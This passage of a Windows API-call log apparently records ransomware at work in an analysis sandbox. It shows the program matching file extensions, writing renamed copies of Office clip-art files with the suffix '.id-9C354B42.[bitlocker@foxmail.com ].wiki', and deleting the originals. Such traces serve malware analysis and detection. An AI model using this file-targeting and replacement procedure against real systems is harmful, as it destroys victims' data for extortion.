(lpString1=".bz2", lpString2=".WMF") returned -1 [0190.513] lstrlenW (lpString=".7z") returned 3 [0190.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.513] lstrlenW (lpString=".dbf") returned 4 [0190.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.513] lstrlenW (lpString=".1cd") returned 4 [0190.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.513] lstrlenW (lpString=".jpg") returned 4 [0190.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.513] lstrlenW (lpString=".doc") returned 4 [0190.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.514] lstrlenW (lpString=".docx") returned 5 [0190.514] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.514] lstrlenW (lpString=".pdf") returned 4 [0190.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.514] lstrlenW (lpString=".xls") returned 4 [0190.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.514] lstrlenW (lpString=".xlsx") returned 5 [0190.514] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.514] lstrlenW (lpString=".ppt") returned 4 [0190.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.514] lstrlenW (lpString=".zip") returned 4 [0190.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.514] lstrlenW (lpString=".rar") returned 4 [0190.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.514] lstrlenW (lpString=".bz2") returned 4 [0190.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.514] lstrlenW (lpString=".7z") returned 3 [0190.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.514] lstrlenW (lpString=".dbf") returned 4 [0190.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.514] lstrlenW (lpString=".1cd") returned 4 [0190.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0190.514] lstrlenW (lpString=".jpg") returned 4 [0190.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.515] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.515] lstrlenW (lpString="J0089945.WMF") returned 12 [0190.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.515] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=19898) returned 1 [0190.515] CloseHandle (hObject=0x1e4) returned 1 [0190.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 0x20 [0190.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.515] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.515] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.516] GetLastError () returned 0x0 [0190.516] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4dba, lpOverlapped=0x0) returned 1 [0190.548] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4dc0, lpOverlapped=0x0) returned 1 [0190.549] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.549] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.549] SetEndOfFile (hFile=0x1d8) returned 1 [0190.549] CloseHandle (hObject=0x1d8) returned 1 [0190.549] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.549] SetEndOfFile (hFile=0x1e4) returned 1 [0190.550] CloseHandle (hObject=0x1e4) returned 1 [0190.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0190.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.551] lstrlenW (lpString=".doc") returned 4 [0190.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.551] lstrlenW (lpString=".docx") returned 5 [0190.551] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0190.551] lstrlenW (lpString=".pdf") returned 4 [0190.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.551] lstrlenW (lpString=".xls") returned 4 [0190.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.551] lstrlenW (lpString=".xlsx") returned 5 [0190.551] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0190.551] lstrlenW (lpString=".ppt") returned 4 [0190.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.551] lstrlenW (lpString=".zip") returned 4 [0190.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.551] lstrlenW (lpString=".rar") returned 4 [0190.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.551] lstrlenW (lpString=".bz2") returned 4 [0190.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.551] lstrlenW (lpString=".7z") returned 3 [0190.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.551] lstrlenW (lpString=".dbf") returned 4 [0190.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.552] lstrlenW (lpString=".1cd") returned 4 [0190.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.552] lstrlenW (lpString=".jpg") returned 4 [0190.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.552] lstrlenW (lpString=".doc") returned 4 [0190.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.552] lstrlenW (lpString=".docx") returned 5 [0190.552] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0190.552] lstrlenW (lpString=".pdf") returned 4 [0190.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.552] lstrlenW (lpString=".xls") returned 4 [0190.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.552] lstrlenW (lpString=".xlsx") returned 5 [0190.552] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0190.552] lstrlenW (lpString=".ppt") returned 4 [0190.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.552] lstrlenW (lpString=".zip") returned 4 [0190.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.552] lstrlenW (lpString=".rar") returned 4 [0190.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.552] lstrlenW (lpString=".bz2") returned 4 [0190.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.552] lstrlenW (lpString=".7z") returned 3 [0190.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.552] lstrlenW (lpString=".dbf") returned 4 [0190.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.553] lstrlenW (lpString=".1cd") returned 4 [0190.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0190.553] lstrlenW (lpString=".jpg") returned 4 [0190.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.553] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.553] lstrlenW (lpString="J0090087.WMF") returned 12 [0190.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.553] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=46936) returned 1 [0190.553] CloseHandle (hObject=0x1e4) returned 1 [0190.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 0x20 [0190.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.554] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.554] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.554] GetLastError () returned 0x0 [0190.554] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xb758, lpOverlapped=0x0) returned 1 [0190.612] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xb760, lpOverlapped=0x0) returned 1 [0190.614] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.614] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.614] SetEndOfFile (hFile=0x1d8) returned 1 [0190.614] CloseHandle (hObject=0x1d8) returned 1 [0190.614] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.614] SetEndOfFile (hFile=0x1e4) returned 1 [0190.615] CloseHandle (hObject=0x1e4) returned 1 [0190.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0190.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.616] lstrlenW (lpString=".doc") returned 4 [0190.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.616] lstrlenW (lpString=".docx") returned 5 [0190.616] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0190.616] lstrlenW (lpString=".pdf") returned 4 [0190.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.616] lstrlenW (lpString=".xls") returned 4 [0190.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.616] lstrlenW (lpString=".xlsx") returned 5 [0190.616] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0190.616] lstrlenW (lpString=".ppt") returned 4 [0190.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.616] lstrlenW (lpString=".zip") returned 4 [0190.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.616] lstrlenW (lpString=".rar") returned 4 [0190.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.616] lstrlenW (lpString=".bz2") returned 4 [0190.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.616] lstrlenW (lpString=".7z") returned 3 [0190.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.616] lstrlenW (lpString=".dbf") returned 4 [0190.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.616] lstrlenW (lpString=".1cd") returned 4 [0190.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.616] lstrlenW (lpString=".jpg") returned 4 [0190.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.617] lstrlenW (lpString=".doc") returned 4 [0190.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.617] lstrlenW (lpString=".docx") returned 5 [0190.617] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0190.617] lstrlenW (lpString=".pdf") returned 4 [0190.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.617] lstrlenW (lpString=".xls") returned 4 [0190.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.617] lstrlenW (lpString=".xlsx") returned 5 [0190.617] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0190.617] lstrlenW (lpString=".ppt") returned 4 [0190.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.617] lstrlenW (lpString=".zip") returned 4 [0190.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.617] lstrlenW (lpString=".rar") returned 4 [0190.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.617] lstrlenW (lpString=".bz2") returned 4 [0190.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.617] lstrlenW (lpString=".7z") returned 3 [0190.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.617] lstrlenW (lpString=".dbf") returned 4 [0190.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.617] lstrlenW (lpString=".1cd") returned 4 [0190.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0190.617] lstrlenW (lpString=".jpg") returned 4 [0190.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.618] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.618] lstrlenW (lpString="J0090149.WMF") returned 12 [0190.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.618] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=28212) returned 1 [0190.618] CloseHandle (hObject=0x1e4) returned 1 [0190.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 0x20 [0190.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0190.618] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.619] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0190.619] GetLastError () returned 0x0 [0190.619] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x6e34, lpOverlapped=0x0) returned 1 [0190.653] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x6e40, lpOverlapped=0x0) returned 1 [0190.654] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.654] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.654] SetEndOfFile (hFile=0x1d8) returned 1 [0190.655] CloseHandle (hObject=0x1d8) returned 1 [0190.655] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.655] SetEndOfFile (hFile=0x1e4) returned 1 [0190.656] CloseHandle (hObject=0x1e4) returned 1 [0190.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0190.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.656] lstrlenW (lpString=".doc") returned 4 [0190.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.656] lstrlenW (lpString=".docx") returned 5 [0190.656] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0190.656] lstrlenW (lpString=".pdf") returned 4 [0190.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.656] lstrlenW (lpString=".xls") returned 4 [0190.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.656] lstrlenW (lpString=".xlsx") returned 5 [0190.656] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0190.656] lstrlenW (lpString=".ppt") returned 4 [0190.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.656] lstrlenW (lpString=".zip") returned 4 [0190.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.657] lstrlenW (lpString=".rar") returned 4 [0190.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.657] lstrlenW (lpString=".bz2") returned 4 [0190.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.657] lstrlenW (lpString=".7z") returned 3 [0190.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.657] lstrlenW (lpString=".dbf") returned 4 [0190.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.657] lstrlenW (lpString=".1cd") returned 4 [0190.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0190.657] lstrlenW 